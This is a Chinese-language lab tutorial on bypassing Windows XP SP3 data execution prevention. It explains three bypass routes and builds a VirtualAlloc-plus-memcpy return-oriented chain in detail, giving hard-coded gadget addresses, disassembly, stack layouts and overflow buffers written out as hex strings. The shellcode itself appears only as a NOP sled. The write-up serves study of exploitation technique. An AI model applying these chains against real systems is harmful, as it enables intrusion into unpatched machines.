由于许多通用的漏洞利用方法和大量的蠕虫!
我简单的介绍下 数据执行保护Data
DEP是用来弥补计算机对数据和代码混淆这一天然缺陷。DEP的作用是阻止数据页(列如堆页,各种堆栈页以及内存池页)执行代码。根据实现的机制不同分为:软件DEP,硬件DEP。软件DEP页就是微软增加的SafeSeh保护,这种机制与CPU硬件无关,safeseh保护就不在本文作介绍了。硬件DEP保护,需要CPU支持,DEP的工作状态可以分为四种。
1-
2-
3-
4-
在xp系统中 通过编辑boot.ini文件的noexecute段来设置DEP。
怎样攻击DEP?
DEP针对溢出攻击的本源,完善了内存管理机制。同过将内存特设置成不可执行,来阻止堆栈中shellcode的执行。但DEP也有自身的局限性
由于兼容性的原因windows不能对所有进程开启DEP保护(除64操作系统),否则可能会出现异常。当DEP工作在OptIn和OptOut,利用API可以动态关闭DEP,这些API函数的调用没有任何限制,所有的进程都可以调用这些API函数,这也为我们突破DEP铺上大道。
DEP的介绍到此,下面是正面挑战DEP
开启DEP保护是将数据页设置成不可执行,那我们将存放shellcode的内存页修改成可执行状态,或者直接关闭DEP保护不是就OK了,没错正面击败DEP常用的就是使用的这个思想。
(1)通过跳转到ZwSetInformationProcess函数将DEP关闭后再转入shellcode执行。
(2)通过跳转到VirtualProtect函数将存放shellcode所在内存页设置为可以执行,然后在跳到shellcode执行
(3)通过调转到VritualAlloc函数申请一片可执行区域,然后将shellcode拷贝进去,然后去执行shellcode
本文我将主要介绍用第三种方法攻击DEP,因为在做这个实验时遇到了不少的问题,我觉得这个方法也比前两种复杂些,希望大家在看过我的这篇文章后,若有什么好的方法可以一起交流。
实验环境:
操作系统 windowssp3
DEP状态:Optout
编译器: vc+6.0
build版本 dubeg
使用工具: Ollydbg.exe,OllyFindAddr插件,windbg
首先看
LPVOID VirtualAlloc( LPVOID lpAddress, DWORD dwSize, DWORD flAllocationType, DWORD flProtect ); lpAddress:申请内存缓冲区起始地址;(传入0x00) dwSize: 申请内存大小 (本实验申请0xFF(256)空间, 这个值注就是因为这里困扰我好久) flAllocationType: 申请空间类型 (0x00001000) flProtect:申请空间的内存访问类型,(0x00000040 可读可写可执行) 由于参数含有0x00使用strcpy系列函数会造成shellcode截断,所以本实验使用memcpy函数来引发异常。 使用windbg的u 函数名, 反汇编VritualAlloc memcpy函数(为了后面参数准备)。 VirtualAlloc函数最终会去调用VritualAllocEx函数。VritualAllocEx函数多增加了一个参数hProcess,由于是本进程自身,所以传入0xFFFFFFFF 7C809AE1 > 8BFF MOV EDI,EDI 7C809AE3 55 PUSH EBP 7C809AE4 8BEC MOV EBP,ESP 7C809AE6 FF75 14 PUSH DWORD PTR SS:[EBP+14] 7C809AE9 FF75 10 PUSH DWORD PTR SS:[EBP+10] 7C809AEC FF75 0C PUSH DWORD PTR SS:[EBP+C] 7C809AEF FF75 08 PUSH DWORD PTR SS:[EBP+8] 7C809AF2 6A FF PUSH -1 7C809AF4 E8 0 CALL kernel32.VirtualAllocEx 函数地址 7C809AF9 5D POP EBP 7C809AFA C2 1000 RETN 10 VritualAlloc函数返回是带有16个字节偏移 memcpy函数 ntdll!memcpy: 7c921db3 55 push ebp 7c921db4 8bec mov ebp,esp 7c921db6 57 push edi 7c921db7 56 push esi 7c921db8 8b750c mov esi,dword ptr [ebp+0Ch] 目的地址(开辟的可执行空间首地址) 7c921dbb 8b4d10 mov ecx,dword ptr [ebp+10h] 复制长度 7c921dbe 8b7d08 mov edi,dword ptr [ebp+8] 源地址存放shellcode 7c921dc1 8bc1 mov eax,ecx
有些关键信息我就直接注释到代码当中,对应填充信息这样比价好理解
测试代码
#include<windows.h>
#include "stdio.h"
char shellcode[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90" //1.ebp
"\x85\x8b\x1d\x5d";//ebp在溢出时破坏,后面调用Vritualprotect函数要使用ebp,首先恢复ebp方法寻找 push esp pop ebp retn 指令(5d1d8b85)。
void test()
{
}
int main()
{
}
这时请出我们的OllyFindAddr插件,在Disable DEP <=XP sp3收索结果的setp3部分查看
好了现在载入OD,观察函数返回地址,堆栈数据
发现返回地址成功被覆盖,Retn 跳到push esp pop ebp retn 4 修改ebp = 0x0012fe64,retn 4 首先将下一条指令弹给eip然后esp+4 说以执行完push esp pop ebp retn 4之后esp 指向 0x0012fe70
准备好压入参数后,载入观察堆栈状态。
成功转到VirtualAllocEx由于VirtualAllocEx函数自动回复堆栈平衡,pop ebp指令会再次破坏ebp, 执行到retn 10时 ,esp =0x0012fe88。执行完retn 10时 esp = 0x12fe9C。
现在我们要来解决一个问题,先来看看memcpy函数
ntdll!memcpy: 7c921db3 55push ebp 7c921db4 8bec mov ebp,esp 7c921db6 57 push edi 7c921db7 56 push esi 7c921db8 8b750c mov esi,dword ptr [ebp+0Ch] 目的地址(开辟的可执行空间首地址) 7c921dbb 8b4d10 mov ecx,dword ptr [ebp+10h] 复制长度 7c921dbe 8b7d08 mov edi,dword ptr [ebp+8] 源地址存放shellcode
其中目的内存地址(0x00),复制长度(0xFF)都可以直接在shellcode中写入,唯一的难点在于对内存源其实地址的确定。实际上我们不需要精确定位,只要保证源内存起始地址在shellcode中关键代码前面就可以了。因此我们使用一个金典的指令串pushesp jmp eax来填充这个参数(我简单介绍下我对这指令传理解:push esp 就是将当前esp指向的地址压入,而当前指向地址后面就可以存放用来攻击的shellcode,jmp eax 跳转到eax保存的指令地址,执行完eax保存指令后,跳转到memcpy函数执行)接下来就是如何布置eax,而关于eax具体指向什么我们暂不讨论,根据前面的分析在esp =0x0012fe88地方将接下来弹入eip执行(esp+4),我们放上保存eax的指令:pop eax retn。VirtualAlloc还带有16自己偏移(esp+14),所以在执行pop eax时 esp =0x0012fe9C,在这个地方我们还不知道接下来堆栈中参数存放位置,暂时0x0012fe9C填充.好了接下来验证下我们程序的流程是不是按照我们设计的路线执行。再次请出OllyFindAddr寻找pop eax retn指令 在这里我找的是7ffa1577地址
此时构造的缓冲区:
"\x90\x90\x90\x90"//1.ebp
"\x85\x8b\x1d\x5d"//push esp pop ebp retn 修正ebp
"\xF4\x9A\x80\x7C"//call VirtualAllocEx申请可执行空间
"\x90\x90\x90\x90"
"\xff\xff\xff\xff"//-1
"\x00\x00\x03\x00" //申请空间首地址
"\xFF\x00\x00\x00" //申请空间大小
"\x00\x10\x00\x00" //申请空间类型1000;
"\x40\x00\x00\x00" //申请空间访问类型
"\x90\x90\x90\x90"
"\x77\x15\xfa\x7f" // pop eax retn
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x85\x8b\x1d\x5d";
载入观察堆栈情况
执行到pop eax时注意堆栈中esp =0x0012fe9c,看来前面的分析没得问题,观察堆栈esp+4,存放的是修正ebp地址,接下来就会去修正ebp.
如图修正ebp后esp和ebp是指向同一个位置,在此次实验中ebp=esp=0x0012fea4,而memcpy中的源内存地址参数是位于ebp+0x0c,如果我们希望使用pushesp的方式设置源内存地址,就需要让esp指向ebp+10,这样在执行完push esp之后源内存地址刚好在ebp+C。在执行完retn 4后 esp = ebp+8,所以再让esp+8就OK,还有个问题需要解决就是操作push esp 后怎么让程序回收。
首先解决第一个问题,让esp+8在这里使用pop ecx/ebx/edi/esi/edx retn
在执行完pop ecxretn(0x7ffa1743) 后 ebp=0x0012fea4 esp=0x0012feb4,
再来分析第二个问题,在完成pushesp后,执行jmp eax。由本次构造的shellcode形式eax 存放的指令地址一定是pop pop.....retn到底弹出多少个喃。我们先来看看memcpy还差什么参数
目的地址(开辟的可执行空间首地址)
ntdll!memcpy: 7c921db3 55push ebp 7c921db4 8bec mov ebp,esp 7c921db6 57 push edi 7c921db7 56 push esi 7c921db8 8b750c mov esi,dword ptr [ebp+0Ch] 源地址存放shellcode 7c921dbb 8b4d10 mov ecx,dword ptr [ebp+10h] 复制长度 7c921dbe 8b7d08 mov edi,dword ptr [ebp+8] 目的地址(开辟的可执行空间首地址) ebp+8 目的地址,可以放在push esp jmp eax前面。ebp+10 复制长度,要放在push esp jmp eax后面一条 所以在执行问push esp操作后回收程序控制权最佳位置在ebp+14h, 此时esp = ebp+C 说以使用eax只要指向类似pop pop retn 指令即可。然后在ebp+14h位置放置memcpy函数的切入点0x7c921db8, 这样在执行完pop pop retn之后就可以转入memcpy切入点。再次请出OllyFIndAddr 查找pop pop retn地址 0x5d173b54 然后寻找push esp jmp eax 这个地址我找了好久,不知道有没有什么神插件可以很轻松找到 我的方法是在OD里依次查看每一个模块,搜索命令列 push esp jmp eax 在RPCRT4模块中可以找到地址是:0x77EBC6C6 构造好缓冲区 "\x02\xec\x72\x7d" // pop pop xxx retn "\x85\x8b\x1d\x5d" //修正ebp push esp pop ebp retn; "\x43\x17\xfa\x7f" pop retn "\x00\x00\x03\x00" // "\x00\x00\x03\x00" //(ebp+8) 目的地址(开辟的可执行空间) "\xc6\xc6\xEB\x77" //push esp jmp eax;(ebp+c)源地址放 "\xFF\x00\x00\x00" //shellcode 长度 (ebp+10) "\xb8\x1d\x92\x7c";//memspy函数切入点 mov esi,dword ptr ss:[ebp+C] 现在载入观察堆栈情况/ 哇哈哈,程序已经进入memcpy 成功安装好导弹头,现在我们只要上起导弹(shellcode)了。继续单步执行到 可以发现在retn指令之前有一条LEAVE,Leave的作用相当==mov esp,ebp和pop ebp,此时esp = 12FEA8 所以写入0x00,所以在retn之后就会到0x00去执行复制进去的shellcode. 最后还有一个问题还要解决,我看看此时esi指向的值是0x0012FE84,也就是从我们传入的复制大小0xFF000000开始复制。继续单步执行到这时我们上上我们的shellcode,让它爽个够 接下来单步到0x00 发现这几条指令执行后会造成异常,无发执行下面的shellcode,所以我们现在要清除这些脏数据。首先B81D927C这个地方根本不能改,所以只有改复制长度Ff。在这里EB(jmp)是个不错的想法,现在我们试试 EB xx 00 00
所以xx = 06 ,现在我们修改复制长为0x6EB00000.试试 哈哈,,jmp过了脏数据,终于投入shellcode的怀抱。此时你可以按下F9,导弹就会发射 本次试验我上的时弹出计算器,结束本进程的shellcode。 DEP总算是攻破了。 然而攻破DEP的方法不止这一种,如果你使用此方法攻破DEP,你会学到很多金典布置shellcode的指令。